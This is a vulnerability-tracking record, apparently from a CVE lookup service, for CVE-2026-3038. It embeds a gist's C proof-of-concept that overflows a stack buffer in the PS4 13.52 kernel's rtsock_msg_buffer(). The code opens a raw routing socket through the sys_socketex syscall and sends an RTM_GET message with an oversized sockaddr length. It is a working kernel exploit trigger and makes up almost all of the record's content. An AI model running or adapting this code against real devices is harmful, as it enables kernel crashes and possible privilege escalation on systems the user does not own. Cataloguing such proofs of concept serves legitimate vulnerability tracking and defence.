{"uuid": "7905b174-7ad9-46e3-a407-649fe10a8493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3038", "type": "seen", "source": "https://gist.github.com/hasyimy-ctrl/a79460845e7268785c8129e18b00655a", "content": "/*\nCVE-2026-3038 vulnerability \nAffected file: W:\\\\Build\\\\J02697906\\\\sys\\\\freebsd\\\\sys\\\\net\\\\rtsock.c in PS4 13.52 kernel file\nTrigger stack overflow in rtsock_msg_buffer() via PF_ROUTE, SOCK_RAW.\nUses syscall 'sys_socketex' that callable on libkernel.sprx, libkernel_web.sprx and libkernel_sys.sprx\n*/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PF_ROUTE        32\n#define SOCK_RAW        3\n#define SYSCALL_SOCKETEX 0x21B\n#define RTM_GET         8\n#define RTA_DST         0x1\n#define RTM_VERSION     5\n#define SA_MAX          255\n\nstatic int sys_socketex(int domain, int type, int protocol, const char *name)\n{\n    return syscall(SYSCALL_SOCKETEX, domain, type, protocol, name);\n}\n\nint main(void)\n{\n    int fd;\n    struct {\n        struct rt_msghdr hdr;\n        struct sockaddr sa;\n        unsigned char pad[SA_MAX - sizeof(struct sockaddr)];\n    } msg;\n    struct iovec iov;\n    struct msghdr msghdr;\n\n    // Open raw routing socket via sys_socketex\n    fd = sys_socketex(PF_ROUTE, SOCK_RAW, 0, NULL);\n    if (fd < 0)\n        return 1;\n\n    // Build malformed RTM_GET with oversize sockaddr (sa_len = 255)\n    memset(&msg, 0, sizeof(msg));\n    msg.hdr.rtm_msglen = sizeof(msg);\n    msg.hdr.rtm_version = RTM_VERSION;\n    msg.hdr.rtm_type = RTM_GET;\n    msg.hdr.rtm_addrs = RTA_DST;\n    msg.sa.sa_family = AF_INET;\n    msg.sa.sa_len = SA_MAX;          // 255 -> overflow\n    memset(msg.pad, 0x41, sizeof(msg.pad));\n\n    // Send the message\n    iov.iov_base = &msg;\n    iov.iov_len = sizeof(msg);\n    memset(&msghdr, 0, sizeof(msghdr));\n    msghdr.msg_iov = &iov;\n    msghdr.msg_iovlen = 1;\n\n    sendmsg(fd, &msghdr, 0);\n    close(fd);\n    return 0;\n}", "creation_timestamp": "2026-08-07T23:56:59.171832Z"}